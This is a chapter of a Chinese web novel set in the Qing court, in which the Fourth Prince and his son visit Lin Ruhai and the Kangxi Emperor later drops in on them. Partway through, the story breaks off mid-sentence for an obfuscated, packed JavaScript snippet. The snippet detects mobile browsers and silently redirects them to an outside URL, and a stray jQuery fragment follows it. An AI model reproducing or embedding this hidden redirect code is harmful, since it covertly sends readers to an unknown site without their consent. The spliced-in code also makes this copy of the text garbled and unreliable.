林府。
林如海招待了突然造访的四阿哥父子俩,本来就对两人带来的半车礼物有些不知所措,岂料寒暄着坐下后虞衡只是象征性的喝了一小口茶就甜甜的开门见山道:“林伯伯,怎么没看到你家小公子啊?”
醉翁之意不在酒,在乎林家黛玉也。
林如海会意,让家仆前去后院通传。
虞衡则一骨碌从八仙椅上爬下来:“不用不用,带我去就是了!”
四阿哥和林如海面面相觑,胤禛干咳一声:“林大人,叨扰了,听闻大人不日将赴任淮扬处理秋岁盐务,在此预祝林大人此行顺遂!”
四阿哥干巴巴的把茶当成酒喝,他和林如海何止是不熟,甚至说从前还在朝堂上针锋相对过。
这事要从太子一废前说起来,当时正如日中天的太子一党提出了一个自认为绝妙的新想法,欲改革纳税制度,做点惊天动地的事儿。
条陈是太子呈上去的,建议却是四阿哥从基层收集了民意后又与太子一党商议后提出来的。
康熙帝看了条陈似乎很满意,召集重臣在懋勤殿开小会,当时气氛正好,新政推行仿佛指日可待,但一直不出声的林如海却在最后关头忽然出列,并毫不客气的指出了一堆问题。
此人久不回京城,常年巡回在扬州一代,素日负责的也是盐务,却对纳税一事指指点点,直接导致此计划流产。
太子一党当即视林如海为眼中钉,林大人一时间也就成了沽名钓誉的所谓“清流”,也有人暗忖此人为康熙帝的宠臣,未必没有康熙帝的授意。
太子若做得太出色,恐要遮蔽了康熙帝的光辉呢?说什么的都有,胤礽反倒是最无所谓的那个,反正他就是那么一提,方案现在做不了,未来他登基了也可再推嘛,是索额图他们非要催着他争口气……
虽说从胤禛目前的角度来看,林如海指出的那些问题确实是客观存在的,但怪就怪在林如海当日态度不行,不仅太子胤礽对其印象不好,胤禛对他的印象也算不上正面。
胤禛从前觉得此人虽聪明,却太过精明。
不从因中看,只在果上求。太子花攒锦簇时,作为一个汉臣,此人却敢在人人追捧太子时进言批判,久不在京城,却肩负康熙帝最看重的内帑收入来源。
另有汉臣中最年轻,最俊美,最得康熙帝恩宠的多重头衔,胤禛暗酸:此人必是靠脸,定然狡诈之徒!
但来的路上,他刚被儿子“指点”过。
“阿玛,你整天苦着个脸干嘛?”虞衡对于他爹对自己的“溺爱”投桃报李:“你这样待会儿把我送去林府以后,就别进人家院子得了,像讨债的!”
四阿哥最近听不得“讨债”二字,他最心爱的儿子说也不行,立马应激:“阿玛就是这样的汉子!”
四阿哥的脸更黑了,几乎能吓哭小孩的那种,但虞衡仿佛被点到了笑穴,直接在软垫上笑到打滚。
好在他爹的父爱濒临灭绝的时候,虞衡及时止笑,然后一本正经的开始胡说八道:“阿玛,你知道你哪里得了皇爷爷的真传吗?”
他爹顿时目光清澈起来:“哪里?”
虞衡哈哈一笑:“脸黑的时候,一比一复刻,如假包换亲父子!”
胤禛居然一片孺慕之心,心酸巴巴道:“你皇爷爷总说阿玛完全不像他,额娘也觉得十四弟更像父皇。”
虞衡良心发现,站起来伸手去摸他爹的后脑勺,他连他爷爷的脑袋毛都顺过呢——
他爹一个灵活的闪避,伸手搂住他的腰,把他像个毛绒玩具一样卷过来压到怀里:“阿玛的头你可不能摸!”
虞衡觉得自己现在就像一只被控制住的小猫咪,只能在被人类圈住挤压的时候,发出咪咪喵喵的声音,他越挣扎,他爹越觉得解压!
虞衡气得满脸通红,最后迫不得已使出绝招:“阿玛你松开我,我就告诉你你在烦恼的那件事怎么解决!”
像是一个按钮,胤禛立刻解放了自家坏心眼的崽:“你知道阿玛在烦恼什么?”
虞衡整理着自己的小马卦,不满道:“要债,十三叔,还有吗?”
胤禛立马英雄气短,嗓音都夹起来了:“福惠宝儿,你连这都知道!”
虞衡点头,像极了西配殿那只得意洋洋的小鹦鹉。
下一秒他就被他爹故技重施又卷进了怀里,虞衡手脚并用都挣脱不开,气得破音尖叫:“有没有王法了!”
最后气得脸红的像熟柿子的虞衡噘着嘴:“你不想知道怎么解决问题吗?”
他爹郑重的摇头:“不想。”
虞衡:?
他爹悲伤道:“慧极必伤,这不是你一个小孩子该忧虑的事……”
虞衡翻白眼,没好气的打断他:“我又没说我给你解决,你整天板着脸内耗有什么用,我要是你,我就去做问卷,三个臭皮匠顶个诸葛亮,何况京城遍地诸葛亮,你却不去请教!”
胤禛表情一僵,就见儿子伸出小手在他面前比划起来:“你说皇爷爷欣赏的那些个大人们,哪个不是大清活诸葛?”
“可是,他们都要避嫌……”胤禛停住,眼睛发亮地看着虞衡:“好宝儿!”
虞衡搓了搓身上的鸡皮疙瘩,嫌弃道:“别喊了吧,我又不是我额娘……”
父爱迅速到账,又秒清零。
——
心满意足的父子俩齐齐打道回府,虞衡歪在轿子的软垫上,看着飙升的任务进度,心里美滋滋的。
四阿哥则满脑子都是林如海的话,马车进了雍王府他都还在回想,妙啊,妙啊……
不仅如此,林大人还给他举荐了另外几位他从前没太注意到的人,四阿哥顺着这个思路又想到了更远的地方。
分别之际,林大人在四阿哥心目中已经是个完美无缺的人了。
怪不得父皇放心把盐务这么重要的事交给林大人!
此人完全忘了去林府前他那副不情不愿的“嘴脸”了,只有相见恨晚。
于是兴奋的无以言表的四阿哥跳下轿子前把儿子一卷,接着像块叉烧似得夹在腋下,一派欢快的冲去书房。
“四爷!四爷——”
高管家同手同脚的跑过来,声音怪怪的。
沉浸在快乐中的四阿哥还没意识到问题的严重性,继续不顾抗拒的夹着虞衡,高声回答道:“喊爷作甚!好好说话!”
直到绝不该出现在此地的魏珠公公闪现,笑得意有所指:“阿哥可算回来了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853643|174359||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,皇上已经在书房等了许久了。”
四阿哥和虞衡同时愣住,都走到门口了,四阿哥猛的停住脚步,似乎完全不敢置信。
前头说过了,他连进宫单独面圣的机会都一只手数得过来,至于说父皇亲临……
虞衡挣扎了一下,没想到他爹这个战五渣,胳肢窝夹小孩这么强!
虞衡猛吸一口气,高声喊道:“皇——爷——爷救命啊!”
胤禛这才手忙脚乱的把他放到地下,抬手对着他炸起的绒毛一通揉,又瞪眼威胁:“别胡说……”
虞衡抱胸,转向窗户边看热闹的康熙帝,对他爹示意道:“要不你自个儿去跟皇爷爷解释去?”
不知道为什么,自从福惠会说话以后,父爱总是忽然暴涨,又忽然清零,反复横跳。
胤禛咬牙,怪不得兄弟们总爱抽孩子!
胤禛一脸乖巧的就势行礼,看向康熙帝:“父皇今日怎么会来儿臣府上?”
虞衡看不下去了,一把揪住他爹的衣摆:“进去说啊,站在这儿跟皇爷爷隔窗对喊吗?”
一进书房,胤禛更加拘谨起来,宛如考生夹了小抄进考场一般。
虞衡则小跑着冲过去,先给了他爷爷一头槌,然后不顾他爹快瞪出眼眶的眼珠子,几步爬到他爷爷怀里,找好位置坐下:“皇爷爷你是不是特别想我!”
胤禛嘴角和眼角齐齐抽了抽,谁来捶他一下?他好像产生了某种幻觉……
幻象没有消失,他那至高无上的父皇甚至慈祥的夹起嗓子:“是哇,没有福惠来抢御膳,皇爷爷一天能多吃一碗!”
虞衡有意刷新他爹的心理防线,闻言毫不客气道:“那你不如我,我想你想的一天多吃三碗!”
康熙帝哈哈大笑:“这叫什么情况?”
虞衡抖机灵:“这叫努力加餐饭!”
一老一小贴贴完,虞衡就挥舞着手招呼魏珠把那眼熟的盒子拿来。魏珠甚至没请示康熙帝,笑眯眯的把匣子捧过去,虞衡熟练的打开,满意的点点头,这才又熟练的伸出双手。
胤禛叹为观止的看宫人给他家福惠擦手,然后小人捏起一块点心就……送到他爷爷嘴边,康熙帝宠溺的摇头,下一秒那点心就进了虞衡的嘴里。
“好吃,好吃!”
康熙帝爱怜的摸摸他有点汗湿的头发,转过脸有些责怪道:“这么大热的天,你还欺负福惠,他热的一头汗,要是再吹吹风,病了怎么办?”
胤禛莫名的觉得此刻外面应该飘一飘雪,这样比较衬他此刻的心情。
他当然知道父皇宠爱皇孙们,隔辈亲嘛。
但他真的好嫉妒哦。
嫉妒到想围着乾清宫阴暗爬行三遍的那种!
尤其是一直到离开雍王府,父皇才勉强想到:“哦,朕出宫路过,真要说有什么事,就是来瞧瞧你。”
胤禛:父皇,要不您说这话的时候把福惠那小子放下呢?
可惜姜还是老的辣。
康熙帝指了指他书房的书案,认真道:“你辛苦了,父皇心里都晓得。”
胤禛面无表情的跪送御驾,当晚就狂肝工作到凌晨。
月上中天,他独自一人时:呜呜呜,父皇还是看重我的!